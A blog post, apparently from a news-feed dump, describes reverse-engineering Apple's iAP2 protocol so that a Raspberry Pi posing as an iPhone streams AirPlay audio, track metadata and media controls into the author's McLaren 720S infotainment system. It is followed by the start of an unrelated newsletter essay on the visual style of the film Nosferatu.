    Upon stepping into this fighter jet on wheels, I realized that it felt familiar. It gave the same feelings that my Lotus cars gave, a race car that was legal enough to be driven on the road. Off the initial line, I couldn't help but notice that this thing was basically like the NOS scenes you see in Fast in the Furious. You know, where the cars enter hyperspace and get 2x the horsepower when they turn on the NOS tanks, because, damn, it was fast. 0-60mph in like 2.8 seconds (for context, my Evora was almost twice as slow). Not only was it crazy fast, but it was also super stable, as long as you weren't oversteering in the corners and dumping the throttle, never once did I feel like I was losing control. Just like the Elise and Evora, the steering felt super direct and gave tons of information and feeling of the road. A lot of cars nowadays tend to dampen the steering and make it feel way lighter than it really is, but they nailed the steering feel in this car. The car also has this super cool hydraulic suspension system so it's always planted on the road and basically never runs out of grip. If you go over a bump and one wheel on one side of the car is raised, the other wheel on the other side is lowered to compensate and balance the car out. Those feelings sparked so much confidence that only after a couple laps I was flying past other Porsche 911 GT3 RSs as if they were Toyota Priuses. The instructor asked “Have you driven one of these before?”, of course my answer was no, I had only wished I did, but it just felt like a natural progression from the Lotus cars. Raw, direct feedback from steering, mid-engine weight distribution, yet literally 100x faster. It felt like a rocket ship glued to the ground. I remember parking the car and my dad asking "How was it?", I then replied "I need to get one of these".

    1 Year Later

    For the next year, I could not get the feeling of driving that 720S out of my head. It was one of the most remarkable driving experiences I've ever felt and was probably the closest I'll ever get to experiencing a fraction of what a Formula 1 car is like. I still loved driving my Evora, but this was something else entirely.

    Later that year I decided to go visit McLaren of San Francisco "just to see" what they had.

    A test drive and a week later, I then said goodbye to my Evora 400 and hello to a McLaren 720S Spider in McLaren Orange (one of the best colours IMO).

    loma<em>mar</em>drive

    Now for context, in case it wasn't obvious, the Evora was my daily driver and as such this took its place. I've never really liked having multiple cars, and I find that the best way to learn everything about a car is to drive it everywhere (or at least wherever possible). This includes everything from getting groceries (the front trunk can actually hold a lot), to sitting in 280 traffic, spirited driving in the Santa Cruz mountains, and even ripping past turn 1 at Sonoma Raceway.

    This car is absolutely incredible, and is something I'll be holding onto for a very long time. I'm excited to drive it every time I get to flip the door up vertically, step into the cockpit, press the big red Engine Start button, and hear the twin turbo 3.8L V8 rev up. The interior is sleek and simple, with a buttonless leather and carbon fiber steering wheel (no media controls, no HVAC, just a steering wheel). It's rare to find this nowadays, especially with so many other companies making their steering wheels have more buttons than an Xbox Controller, having terrible touch controls, or being stupid and choosing a yoke instead of a wheel entirely. It's also super comfortable, and has a massive front windshield with lots of visibility. Even the rear quarter panels are transparent so your blind spots are never blocked. All the other buttons are readily accessible to the driver on either sides of the cockpit all the while feeling super low to the ground (107mm off the ground to be specific). You can tell this was built and designed by people who love driving.

    The dual clutch gearbox is so smooth and the way the exhaust sounds as it's cut when it upshifts around 5000 RPM sounds like it's straight out of a science fiction movie. At Laguna Seca I remember I had to carry so much speed through turns 5 and 6 with my Lotus cars (since they can lose a lot of speed trying to go uphill), but this car has so much torque it simply does not care. You could be at a standstill at the bottom of the hill, floor it, and in 5 seconds you'd be going 120mph. For all the extra power it has, it's still just as lightweight as my Evora was. I even got the opportunity to learn how to get it sliding sideways a bit through corners at the track to learn how their ESC (stability control) Dynamic setting works.

    I have so much more to say about what it's like to drive and how much appreciation I have for all the engineers and designers that worked so hard to make this car exist, but today I want to focus on telling the story of my experience fixing one of it's smaller flaws…

    It doesn't have CarPlay.

    Editor's Note: huge first world problem, I'm fully aware.

    So What Does It Have?

    The 720S was introduced at that awkward phase in car stereo technology times where Bluetooth was everywhere and CarPlay was just starting to exist. However, they sadly didn't seem to get around to implementing it, and it was only equipped with USB iPod support. So, I could use my iPhone for music, but that would require either using Bluetooth or USB.

    There's two problems with this however:

    1. Bluetooth's bitrate maxes out at ~264kbps assuming we're doing AAC (which we are given it's iOS and the car doesn't seem to support anything like aptX or whatever). This is worse than a 320kbps MP3 file, and I could hear the compression artifacts, so this was immediately out of the question.
    2. USB does provide the best quality, however that requires constantly plugging in the phone anytime I get in the car and I was already used to having wireless CarPlay in my Evora (which again, another huge first world problem, I'm aware).

    Now you might think: "Couldn't you just swap the stereo head unit like other cars?". I could, however for the 720S, McLaren built a fully custom bespoke one-off system that I can't quite swap. The system itself controls loads of proprietary things like tire settings, interior lighting, maps, sensors, track telemetry, even Variable Drift Control (you literally get a slider to adjust how much you want to drift!), and as such, nobody has really spent the time or effort to make an aftermarket swap.

    mclaren<em>infotainment</em>off

    Editor's Note: It turns out the newly released 750S now does have CarPlay, but that also didn't feel like a cost-effective solution.

    The whole setup is actually pretty sweet, the gauge cluster can flip down to show you just your shift lights when you're in track mode and you get an audible cue when's the optimal time to shift gears.

    So anyways, this custom head unit does a ton of stuff, surely there's something we could do with it, right?

    Jailbreaking the Car?

    Upon further inspection, the infotainment system seems to have been developed by JVC / Kenwood (which lines up properly with this press coverage denoting JVC did a custom system for McLaren). Upon using it though, I figured that it was running a variant of Android due to the distinct way it handles scrolling at the edges of any given screen (you get that glow effect instead of rubber banding like you would on iOS or Windows Phone 🪦). Now considering that this car was unveiled in 2017 and the electrical systems were developed around then (or earlier, technology moves slow in the car space), it's probably not running Lollipop or Marshmallow (since those were bleeding-edge at the time and this is likely an embedded system). I'd bet probably something like Android 3.0, surely we can just jailbreak it right?

    Turns out people have already done this with the McLaren 650S and below, apparently adb is running if you connect your car to the iPod USB port. They sadly patched this for the 720S. In addition, after trying some other things, I realized it wasn't actually Android, but a different embedded Linux system entirely (long story… probably for a future blog post maybe)… so I guess I'll just take the dash apart and try to jailbreak it myself?

    Yeah… no. Given how fun of a project that would be to try, I'd really rather not accidentally brick my car. I don't think the dealership would be cool with me bringing it in for service to somehow reflash the infotainment system with a proper image because I managed to get it to not turn on anymore. Loads of Android devices are trivial to hack since they all have fastboot and you can just restore it if you mess something up, but I'm gonna wager that nobody has dumped the software off this system nor has McLaren hosted bootloader images on GitHub. It also seems extremely cumbersome to try and take all of the dash apart, so… yeah, no.

    Feeling rather bummed that his avenue was not gonna happen, I started thinking about what I was trying to optimize for: enable wireless playback of my music in my car, with media controls, and at the highest bitrate I can (or at least better than Bluetooth). It was at this point that I remembered that wireless CarPlay operates by first setting up a WiFi network over Bluetooth and then streams CarPlay via AirPlay over WiFi to the car. So maybe I could make my own "CarPlay"? What if somehow I added AirPlay to my car? I saw projects where people ripped up old AirPort Expresses, but I needed to run off a cigarette lighter and not have something nuke the small racecar-optimized battery, so I settled on a Raspberry Pi. They only require 5v at like 5 or 6 watts or so, so the energy usage would be mostly the same as having my iPhone plugged in.

    Upon setting up a lite version of Raspbian, I started looking for projects that implemented an open source AirPlay receiver server and I came across shairport-sync. Turns out Mike Brady did all the hard work and already thought of this use case (thank you Mike!). Once setup, you'll have a Raspberry Pi that broadcasts a WiFi network and an AirPlay server that'll output whatever it receives over 3.5mm / AUX. My car did in fact have a 3.5mm input jack, however initial testing resulted in a ton of electrical noise (static, clicking, etc.) coming out the speakers. Turns out the way my car was wired up really didn't like the electrical interference that was created when you hooked a Raspberry Pi up to the cigarette lighter or iPod USB port and then played that same device over 3.5mm back into the car. After spending a couple days trying to debug and troubleshoot with some ground-loop inhibitors and various cables, I still couldn't get a clean signal (maybe it was still interference, maybe just the Pi's DAC, no idea), so I started over.

    iPod USB

    It turns out the Raspberry Pi's USB-C port supports USB OTG, meaning the Raspberry Pi could dynamically switch that USB port from being a host port (e.g. hosting a keyboard) to a device port (e.g. act as a device that the car could host).

    I then started looking through tons of stuff to see how I could somehow "emulate" an iPod via my Raspberry Pi. I looked through RockBox source code, thought about virtual machines, anything really, but I eventually stumbled across ipod-gadget.

    This project was perfect:

    ipod-gadget simulates an iPod USB device to stream digital audio to iPod compatible devices/docks. It speaks iAP (iPod Accessory Protocol) and starts an audio streaming session.

    So assuming this works, I could plug the Raspberry Pi into the car and have it think it's an iPod. I had doubts it would work without issue as it had tons of patches for specific stereo head units, but I set it up just to see what would happen. I configured Shairport Sync to use hw:iPodUSB as this was the ALSA audio device that it exposes, went to the car, plugged it in and…

    UNSUPPORTED DEVICE

    :(

    So either the car didn't recognize the "iPod" or the "iPod" didn't recognize the car. The ipod-gadget project involves two parts:

    1. A Linux character device (/dev/iap0`) you send stuff to (to send over USB)
    2. A client app (ipod) written in Go that talks to said device.

    Upon trying to inspect the logs output by the ipod server binary, it didn't produce anything meaningful. I then did a sanity check with my home stereo to see if it would do anything, and it worked perfectly.

    I brought it back to the car and tried again just to see, and no matter what I tried, it would constantly fail to connect. I then re-checked the logs with the ipod server running on the Pi with more verbosity and then I noticed there were a bunch of packets that would fail to parse and would be dropped. So I patched that bit of code to just spit out raw bytes to see if I could get anything.

    A few things seemed to stream out and then it would just stop (here, >>> means incoming, as in car -> Raspberry Pi).

    >>> 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00
    
    >>> 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00
    
    >>> 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00
    

    I took what I saw, and dumped it into the GitHub search box.

    🤷‍♂️ iap2-search-result1

    I wish it would've been that easy. Trying a few permutations finally lead me somewhere...

    iap2-search-result2

    This search result was just pure luck, but it was super helpful. Notice how the first result is Rockbox, which is an open source media player implementation that runs on old iPods. As such it also implements the same protocol as the ipod-gadget (iAP). However, it isn't referencing that byte sequence we're looking for, the project below it wiomoc/iap2 is.

    Upon reading wiomoc's extremely helpful blog post I now knew what I was dealing with.

    My car's stereo didn't implement iAP1… but iAP2 and has "iPod" listed in the car's infotainment as in "iPod Accessory Protocol"… not necessarily supporting "iPod devices". So having read through most of Christoph's (wiomoc) post (thank you for writing this!), I got the idea to just send back the same sequence of bytes the car was sending me. Apparently this is a way for a device to acknowledge that it talks iAP2.

    I modified the go ipod project and upon doing this, I had thousands of bytes streaming on the screen to parse through (here, <<< means outgoing, as in Raspberry Pi -> car):

    >>> 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00
    
    <<< 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00
    
    >>> 0xFF 0x5A 0x00 0x1D 0x80 0x74 0x00 0x00 
        0x96 0x01 0x05 0x10 0x00 0x0F 0xA0 0x00 
        0x49 0x1E 0x05 0x0A 0x00 0x01 0x0C 0x01 
        0x01 0x0B 0x02 0x01 0xA8 0x00 0x00 0x00 ...
    

    Neat.

    Now what?

    Upon reading more of the blog post and iap2 project, I realized I was probably going to have to do a lot of stuff on my own. Apple's iAP2 protocol documentation is only available to members of Apple's MFI program, and to qualify for the program, you basically have to be an accessory maker (e.g. Belkin) that makes or ships thousands of MFI devices. As such, I basically only had open source projects to go off, and thankfully the iap2 project was enough to get me started.

    Let's Emulate an iPhone in Swift

    The idea, in theory, was what if I could just take my Raspberry Pi and convert it into an "iPhone", but only do enough of the parts that iAP2 cares about to play audio.

    To start, I used the ipod-gadget project again in order to reuse that character device /dev/iap0 over which I could send and receive bytes. This project already has the correct USB HID descriptors and whatnot setup to mask as an iPhone, so it saved a lot of time doing the basics.

    Next I started a Swift command line utility project that I could compile and run on Linux (since I was running this on a Raspberry Pi).

    Sidenote: Swift on Linux is pretty great nowadays. You can just build and run on Linux. You can't use Xcode to debug on Linux, but it's pretty trivial to debug remotely with Visual Studio and the various extensions.

    After that, I setup the basis for reading and writing bytes to/from the character device using a DispatchSource both for input and output:

    self.io = try! FileDescriptor.open("/dev/iap0", .readWrite, permissions: .ownerReadWriteExecute)
    self.buffer = UnsafeMutableRawBufferPointer.allocate(byteCount: 1024, alignment: MemoryLayout<UInt8>.alignment)
    
    self.queue = DispatchQueue(label: "ca.adambell.HIDReader", qos: .userInitiated, autoreleaseFrequency: .workItem)
    self.source = DispatchSource.makeReadSource(fileDescriptor: io.rawValue, queue: queue)
    source!.setEventHandler { [weak self] in
        guard let self else { return }
        do {
            let bytesRead = try io.read(into: buffer)
            
            ipod.parseBytes(bytesRead)
        } catch {
    				
        }
    }
    

    For output, all I had to do was encode stuff as little-endian bytes and write them to the character device:

    self.queue = DispatchQueue(label: "ca.adambell.HIDWriter", qos: .userInitiated, autoreleaseFrequency: .workItem)
    self.source = DispatchSource.makeWriteSource(fileDescriptor: io.rawValue, queue: queue)
    source.setEventHandler { [weak self] in
        guard let self else { return }
    
        while let report = reportQueue.popFirst() {
            _write(report)
        }
    
        if reportQueue.isEmpty {
            source.suspend()
            self.writing = false
        }
    }
    
    let bytesToSend = [0xff, 0x55, 0x02, 0x00, 0xee, 0x10, 0x00, 0x00]
    
    queue.async { [weak self] in
        guard let self else { return }
    
        reportQueue.append(bytesToSend)
    		source.resume()
    }
    

    Originally I tried using Swift 6 actors / async / await, however I had to switch back to plain old Dispatch as it turns out that Task and DispatchSource really don't play nicely together yet (see: FB14132060) :(

    So once I got the project up and running I began map out what exactly I wanted to get working:

    1. Music Playback (obviously)
    2. Track Metadata (hopefully cover art?)
    3. Media Controls (if I can make it work)

    The infotainment system in the car supports a bunch of stuff like browsing your Music library and accessing playlists, but I didn't care about much of that since I was just going to be using AirPlay. I could control all that from my iPhone mounted to the dash.

    Continuing on, I got back to the same spot I was at with reading bytes with the original ipod client (however, at this point it was all in Swift!):

    >>> 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00
    
    <<< 0xFF 0x55 0x02 0x00 0xEE 0x10 0x00 0x00
    
    >>> 0xFF 0x5A 0x00 0x1D 0x80 0x74 0x00 0x00 
        0x96 0x01 0x05 0x10 0x00 0x0F 0xA0 0x00 
        0x49 0x1E 0x05 0x0A 0x00 0x01 0x0C 0x01 
        0x01 0x0B 0x02 0x01 0xA8 0x00 0x00 0x00 ...
    

    Referencing wiomoc's blog post once more, I noticed a small detail:

    Therefore it first sends a message to the accessory requesting the certificate of the Authentication Coprocessor. The accessory retrieves this certificate from the Coprocessor and send it in a response message. The iPhone checks if this certificate is signed by Apple. Upon successful validation, the iPhone generates a challenge and transmits it to the accessory. [...]

    After this authentication procedure is completed, the accessory sends some identification information, like name, serial number, supported transports or offered EA protocols to the iPhone. After an acknowledgement from the iPhone, the iAP2 Connection is fully established.

    Crap.

    I thought the whole project was probably screwed at this point since I had no way of getting ahold of said iPhone Authentication Coprocessor. Without said coprocessor, I'd never be able to authenticate a session. It's probably baked into the iPhone's system on a chip and I had absolutely no means of taking it out or repurposing it.

    However, then I realized, I'm not communicating with an iPhone… I'm spoofing one and talking to the infotainment system.

    In order to get an accessory to do anything, you need to have the accessory "identify" itself. Once that starts, it'll then authenticate itself with an iPhone and will use the onboard authentication coprocessor to validate that the MFI accessory is "legit".

    In my case, since I'm the super totally legit iPhone™ that's "authenticating" the infotainment system, I can just send a thumbs up to whatever it says.

    Infotainment System: "Hey I'm a licensed MFI car stereo: here's a signed challenge showing I'm legit"

    Me (a totally legit iPhone):

    func checkChallenge() { 
        return true
    }
    

    "… Sure! You're good 👍"

    I then loosely used wiomoc's code as a point of reference and built out the initial session setup and communication channels necessary to get me to the identification phase. Once I implemented this, gone were the "Unsupported Device" errors that my car was showing me. I still had tons of bytes being thrown at me that I had no idea what they were, but it was connected.

    For fun I tried AirPlay-ing what I was listening to at the current time (I remember it vividly, it was "A Walk in the Woods" by Marty O'Donnell from the Halo: Combat Evolved Soundtrack)… and it worked!! It turns out all my car cared about was an initial iAP2 session and then it'd just play whatever was coming over USB by any UAC (USB Audio Class) device!

    walk-in-the-woods

    Editor's Note: QuickTune is fantastic. Great work Mario!

    I'd AirPlay my iPhone to the Raspberry Pi, it'd create an iAP2 session and then just dump whatever was coming over AirPlay to the car's infotainment system.

    This crazy wild combination of devices ACTUALLY WORKED:

    iPhone → [shairport-sync] → [ipod (swift tool)] → McLaren Infotainment System

    So here's where we were at:

    1. Music Playback (obviously)
    2. Track Metadata (hopefully cover art?)
    3. Media Controls (if I can make it work)

    Now, since I do a lot of track days, I also have McLaren P1 race bucket seats installed in my car. They're fantastic for hugging your body as you take corners super quickly, but absolutely horrible for posture / hacking on things in the car. My neck and back started to hurt after a few of nights of hacking on things in the driver's seat.

    p1<em>car</em>seats

    In addition, it turns out that my code was originally so bad, I would sometimes send invalid bytes to the car… and the car's infotainment system would just lockup or crash / restart. So I'd have to shut the car off, restart it (in accessory mode, no need to power on the engine), and keep it hooked up to a trickle charger to ensure the battery didn't die as the alternator isn't running without the engine on.

    For the sake of my spine, I really needed to figure out an alternative to continue working on this project.

    Knowing how software works in most of the tech industry, if a company has functional software, chances are they won't rewrite it for other things (if it works, why rewrite it?). Heck, apparently some companies still rely on WebObjects running on a Mac Mini somewhere under someone's desk. Chances are, if JVC / Kenwood built an infotainment system for McLaren, they probably borrowed a lot of code they already had for other stereos (their implementation of iAP2). In this case, I assumed I could just buy another Kenwood stereo from Best Buy and hack on that instead. If I got things working with that, it should work with my car with little modification. As such, I bought a super cheap single DIN stereo and stuck it on my desk. I had to hard wire some power lines and hook up some speaker cables (it was extremely sketch), but eventually I had a "similar" car stereo on my desk I could mess with.

    car<em>stereo</em>on_desk

    I plugged in the current WIP I had with the Raspberry Pi and worked out of the box! Shared code!

    car<em>stereo</em>stop

    Sadly, progress on this project swiftly¹ halted as wiomoc's code didn't really cover any sort of media / metadata iAP2 stuff.

    That's where I had to get a bit more crafty…

    Hanging Out With HID

    When reverse engineering APIs for the web, you typically setup some sort of man-in-the-middle attack and read the incoming or outgoing requests. A lot of people default to things like mitmproxy, Proxyman, Wireshark, or Charles Proxy. Now, normally if this were over the web, that's what I'd be pulling out. However, this is all over USB, and I didn't know the format I was working with, so what I sorta needed was a USB Proxy for HID (which is what all the messages are sent over).

    Turns out, there's a project that does just that: usb-proxy. It worked great initially, but often times would crash due to the volume of traffic going over the cable.

    Eventually I found an alternative: a pretty sweet project called Cynthion that does what usb-proxy does, but in hardware!!

    cynthion

    This thing is wicked cool. You put it in the middle of a USB Device (iPhone) and a USB Host (Stereo) and it basically just spits out all the bytes that goes over the USB cable so you can analyze it. It comes with a tool called Packetry that allows you to analyze each HID frame that comes in:

    packetry

    Notice anything familiar? ^_^

    From making the other iAP2 messages work (e.g. identification), I knew the general gist for what things looked like (there's a header, some size bytes, a checksum, blah blah, and a payload), so I just needed an easy way to find the payloads I wanted to replicate. Most of the iAP2 messages seemed to start with 0xFF 0x5A so that made it a lot easier to narrow things down.

    Media controls were actually trivial to figure out, so I figured those out first. All I did was run my ipod app and have it spit out any incoming frames / messages it didn't understand. In this case, I would just watch the console as I tapped various media buttons on the stereo (Play, Pause, Next, Previous, etc.). I'd spam tap a button (e.g. Play / Pause) and look for similar packets. I'd then diff them to try to build up an enum:

    enum MediaControl: UInt8 {
        case playPause = 0x02
        case next = 0x04
        case previous = 0x08
        ...
    }
    

    No idea if this is actually the spec, but in my case, I never actually needed to send these to the car, so I didn't care about figuring out the format. I just needed a means to watch for these packets from the car -> Raspberry Pi, get the media button pressed, and then I'd control Shairport Sync myself using the dbus client it exposes:

    
    if control == .playPause {
      try Shell.command("dbus-send --system --type=method_call --dest=org.gnome.ShairportSync '/org/gnome/ShairportSync' org.gnome.ShairportSync.RemoteControl.Play")
    }
    
    1. Music Playback (obviously)
    2. Track Metadata (hopefully cover art?)
    3. Media Controls (if I can make it work)

    Metadata was a lot more involved. What I was really looking for was a way to display Title, Artist, and Album (and album artwork if possible!) onto the infotainment screen. While this wasn't strictly necessary, I do like being able to see chapter titles from podcasts or songs being streamed on Apple Music. As such, I needed to find the correct offsets / structures to send as USB packets.

    I generated a test track and uploaded it to my iPhone with the following:

    • Title: TITLE_HERE
    • Artist: ARTIS_HERE
    • Album: ALBUM_HERE
    • Album Art: A simple 512x512 opaque red png.

    Note: ARTIS_HERE is an intentional typo as I wanted a consistent length for the strings sent (10 bytes, aka 0xa) to make it easier to find their patterns.

    I played this test track on my iPhone when hooked up to the stereo (through Cynthion) and then I found the following bytes in the pcap file:

    metadata_packet

    Notice the highlighted area. Before that you have 0xe as the length, but the length of the strings I was sending was 0xa. It turns out that the length also includes the bytes that specify the size (2 bytes) as well as 2 other bytes that indicate the type of information supplied (0x00, 0x01, aka Title), so removing those 4 bytes, we get 10 bytes: 0xe - 0x04 == 10

    Initially I wasn't getting anywhere, but it was far easier to iterate on since I could just keep trying new formatted packets to see if anything would appear on the stereo screen. Still having no luck, I tried replaying the same packets dumped via Packetry but still, nothing would appear on the stereo's display. Eventually I realized that there was consistently another packet sent before the track info (more on that later), I didn't really care what it was, but once I sent it before the metadata packet, it then started to display my strings! Sometimes it would crash due to messing up the sizes sent or other orderings, but eventually I got that working just fine.

    metadata<em>on</em>display

    Editor's Note: Not shown here were the multiple days of trial and error and sheer frustration that comes out of throwing random stuff at a black box until something happens. There were many times where I nearly gave up because of brittle issues that cascaded and broke other things that weren’t even related. Sometimes things would work, sometimes trying the same thing again would fail and crash the unit.

    The only thing that was remaining was figuring out how to send cover art. This actually ended up being the hardest part since I had to figure out how to do the File Transfer Session stuff. It turns out you need to specify an identifier for the image to be sent alongside the track metadata (in that "other" packet mentioned above), and then send the image separately in a different session. I got pretty close a few times trying to figure it out on my own, but then I stumbled upon some "questionable" GitHub repos that gave me a lot more hints and then I eventually got artwork displaying. In short: you setup an identifier, send it along with the track info, send the image bytes in packets, and then tell it you're done on the last packet.

    1. Music Playback (obviously)
    2. Track Metadata (hopefully cover art?)
    3. Media Controls (if I can make it work)

    Shairport Sync → Stereo

    The next part was finding a way to get the currently played track's metadata to show on the stereo. I needed to get it out of Shairport Sync and pass it to the stereo (i.e. getting metadata out of the AirPlay session). For that, you can build Shairport Sync with metadata and cover art enabled. Once built, it’ll publish metadata info at /tmp/shairport-sync-metadata. So then I wrote a Swift parser to pull out the various metadata items I was looking for and would pass them to the stereo anytime they changed.

    Putting it altogether, and skipping ahead in time, I eventually had everything that I wanted!

    When I plugged the Raspberry Pi into the car, it'd trick it into thinking it was an iPhone, the car would accept USB audio, and I'd just connect my iPhone over AirPlay to the Raspberry Pi to play my music. AirPlay 1 specifically runs as lossless 44100Hz, meaning I had bit-perfect CD quality audio running wirelessly in my 720S! What's even more wild is stuff like phone calls and Siri just worked perfectly out of the box. The McLaren allows me to disable the media / audio protocols for connected Bluetooth devices and only allows the hands free protocol for sound input (i.e. microphone). I could then simultaneously connect it to AirPlay for sound output! :D

    It worked perfectly and even things like chapter titles / artwork from Overcast worked!

    buy<em>your</em>car<em>an</em>iphone

    Adding a Bit More "CarPlay"

    The nice thing about wireless CarPlay is it's very hands-free. You get in the car, drive, and it's already connected. So to complete my "CarPlay", I needed a means to automate its connection.

    Shortcuts to the rescue!

    Sadly, iOS doesn't have a shortcut to have your iOS device connect to a specific WiFi network (because reasons)… so to have it automatically connect I configured the WiFi network my Raspberry Pi broadcasts to be the highest priority for the iPhone to connect to it. In doing so it would take precedence over my home WiFi and you can set this up via macOS and then it syncs over iCloud back to the iPhone. I then made a Shortcuts automation to automatically run when connected to the car's Bluetooth:

    1. Disable WiFi
    2. Wait a few seconds (hardcoded to roughly the boot time of the Raspberry Pi)
    3. Re-enable WiFi (connecting to the in-car WiFi since it has a higher priority)

    shortcut<em>wifi</em>on_off

    I then ran a second Shortcut automation when I connected to the in-car WiFi:

    1. Enable the "McLaren" focus mode on my iPhone, which populates my home screen with Albums widgets for my favourites²
    2. Wait a few seconds to ensure the AirPlay network is fully ready
    3. Set the sound output to my in-car AirPlay network

    shortcut<em>wifi</em>on_off

    I'd then do the reverse (and pause media if playing when it ever disconnected from my in-car WiFi) to make it as seamless as possible and to ensure that music wouldn't keep playing after I parked the car.

    Oops, I Broke It

    One thing that didn't originally occur to me was that anytime I shut off the car… I was just cutting power to the Raspberry Pi without shutting it down safely. At one point the Raspberry Pi stopped booting entirely so I had to re-image it and set it up again.

    This time I optimized the boot time to be as fast as possible (getting it down to roughly ~7s). I looked through the startup path using systemd-analyze blame and just disabled anything that wasn't related to audio or networking. I then enabled a read-only filesystem so the filesystem would just be running as a tmpfs in RAM so no more changes could be made to the Raspberry Pi and would prevent further issues.

    I also had another issue where some songs would have odd distortion with certain frequencies. This took so much trial and error, but eventually I discovered that if I forced Shairport Sync's format to be S16_LE (signed 16bit little endian), the problem went away.

    Lastly, I then cloned the SD Card to disk and saved it in case I ever broke something again (so I could just re-image it easily).

    More Broken Stuff!!

    Now of course, all this worked perfectly for a few months, and then iOS 17.4 came out and broke my media controls. -_-

    It turns out that Apple removed needed parameters to control the AirPlay session (notable DACP-ID and Active-Remote), and without those there wasn't a way for me to do things like play, pause, or skip tracks.

    sigh.

    Well since my project was already a pile of hacks that magically worked together, I figured I could just hack it up even more. Bluetooth devices can support AVRCP (Audio/Video Remote Control Profile)… so I just made my Raspberry Pi into a fake AVRCP device and had it automatically connect to my iPhone. I'd pair my iPhone via Bluetooth additionally to the Raspberry Pi, and then the Raspberry Pi could then Play / Pause / Skip tracks on my iPhone using AVRCP (acting as a Media Player Remote Control, think Media Keys on a keyboard):

    dbus-send --system --print-reply --dest=org.bluez /org/bluez/hci0/dev_00_11_22_33_44_55 org.bluez.MediaControl1.Play
    

    Instead of sending dbus commands to Shairport Sync, I'd send them to a bluez client. I had to do some clowntown Bluetooth configuration in Linux that I don't really remember, but eventually I got things working. It definitely did not include putting a while loop in /etc/rc.local to spam connect to the iPhone over Bluetooth on boot. It was hideous, but it worked.

    I then made another backup image of the disk so I never had to debug Bluetooth stuff ever again.

    End Notes

    Putting all this together has left me with probably one of the most hacked up piles of software that somehow works together advanced audio stacks in any McLaren 720S. I now have a car that'll automatically connect to my phone and play music in its highest available quality (as in available to native implementations on iOS… here's hoping one day AirPlay will support higher quality like 48000Hz). It's not exactly "CarPlay", but it's close enough. I need to give a huge shoutout to Mike Brady, Andrew Onyshchuk, and Christoph Walcher for all the work they did on their respective projects. I wouldn't have been able to do this without them.

    This has been an incredible learning opportunity for me, exploring so many things up and down the stack: USB, Linux kernel drivers, HID transports, Bluetooth, reverse-engineering embedded systems and protocols, low level audio formats / sequences, the list goes on and on. This also allowed me to appreciate all the complexities that go into building reliable car infotainment systems. In the end this truly was a fun yet ridiculously over-engineered project to solve a simple problem. That being said, I've now got a pretty sweet computer running in my car all the time, so I've got tons of other ideas for other projects to do in the future (track day logging??). Not only that, but I have Swift powering part of my car's audio stack!

    Sometimes the best solutions are those held together with digital duct tape.

    mclaren<em>track</em>day

    ¹: 🥁

    ²: This massive project was actually a catalyst for building Albums. Initially, I wanted a consistent way to get to my favourite music without needing to navigate small tap targets on various streaming apps, but then it ended up becoming a full-fledged app that I'm super proud of and love using all the time! :D

    ]]>
    https://blog.adambell.ca/posts/20250116-McLarens-And-CarPlay/ hacker-news-small-sites-42749258 Sat, 18 Jan 2025 16:00:43 GMT
    <![CDATA[Why does nosferatu look like a German romantic painting?]]> thread link) | @jger15
    January 18, 2025 | https://www.themolehill.net/p/why-does-nosferatu-look-like-a-german | archive.org

    “I was a free subscriber for months but needed to know about your japanese ebay shopping tips! I snagged a Bambi coat from your doc.” —Bea, paid reader

    Mornin!

    First, a few things.

    • I wrote about the uniform of millennial ennui in Frances Ha (2012) for MUBI. Here’s my link where you can stream it free.

    • There are some nice mary janes on sale: a final pair of black moire *Loeffler Randalls at $150, a *spring green raffia pair (also LR) at $165, silver ballerina vamp *Repetto flats at $182 (which a reader posted about in the chat). Honestly, I never get sick of mary janes. Despite the market saturation in the past 2 years I still find them exciting and extremely versatile. [*affiliate link]

    • A new paid reader perk launched yesterday! Every Monday, you get access to a “What Are We Writing About This Week?” thread. This is for writers of all stripes (college student at campus paper, Substack writer, freelance journos, anyone!) who want a space to share their story ideas. I share what I’m working on as well :)

    This post contains spoilers for Nosferatu.

    I snuck a foil-wrapped burrito in for dinner, which was very risky because I almost choked on a piece of asada at the first jump scare-induced GASP!

    It had been a few weeks since the film’s release, so I felt like I was late to the party in terms of discussing its reception. My expectations had already been shaped by a few Letterboxd reviews and Orlock thirst trap edits that popped up on my TikTok fyp, but still! I was excited to see Lily-Rose Depp do her haunted corpse bride thing (she was actually great in The Idol, I was singing “I’m just a freak yeahhhh” that whole summer).

    Nosferatu' director Robert Eggers said he knew Lily-Rose Depp was his star  'as soon as I met her'
    The bruise colored palette. Photo: Focus Features/Courtesy Everett Collection

    Depp plays Ellen Hutter, a woman whose psychic abilities lead her to make contact with a demonic spirit (the vampire Nosferatu). He torments her in nightmares and takes over her body—causing seizures and sleepwalking.

    She is generally enjoying newlywed life with Thomas, her devoted husband who is eager for a good performance review at his real estate agent job. So when his creepy boss tasks him with the journey to Transylvania to help a mysterious Count Orlock buy property, he reluctantly leaves Ellen (with her chatelaine locket dangling from his hip—loved this jewelry detail).

    Because FW Murnau’s Nosferatu: A Symphony Of Horror (1922) was a quintessentially German Expressionistic film, I’ve seen some reviews calling Nosferatu a Gothic-meets-German Expressionist work as well.

    However, Jarin Blaschke, the film’s cinematographer, specifically states in an interview that it is not:

    “What’s important to him is having it told through the eye of the culture of the time, which was not expressionism, not black and white,” says Blaschke. “Rob was clear it should be romanticism […] You just get a feeling from romantic paintings; there’s something to the light that is a little other.”1

    Nosferatu' Review: Robert Eggers' Gothic Romance Is A Perverse, Technically  Brilliant Tango With Death
    Photo: Focus Features/Courtesy Everett Collection

    Ok, brief art history lesson.

    The German Romantic movement of the late 18th and early 19th century was a revolt against the values of capitalist industrialization, manifested through artistic mediums like poetry, music, and painting.2 It was a reaction to the European Enlightenment, which ushered in a new world order that prized rationality and logic.

    You could think of them as the original anti-STEM movement.

    The “romantic” in Romanticism doesn’t refer to love, but rather the condition of being prone to emotional intensity and chaos. Of standing on a cliff with crashing waves, overcome with the awe and fear of the elusive sublime. If Beethoven’s later life works were the sound of Romanticism—stirring “mists of terror, of grief”3, then Caspar David Friedrich’s paintings are its visual embodiment.

    Indeed, Eggers mentions in an interview that he looked at Friedrich’s paintings as moodboard inspiration.4

    I argue that Nosferatu uses the visual language of German Romanticism to convey the movement’s values to a contemporary audience. This is the message I took away from the film:

